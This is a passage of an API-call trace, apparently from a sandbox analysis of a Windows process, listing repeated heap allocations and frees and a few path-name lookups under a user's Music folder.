(HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.059] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.059] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.060] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.062] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.062] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.063] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.063] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.066] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.066] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.066] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: 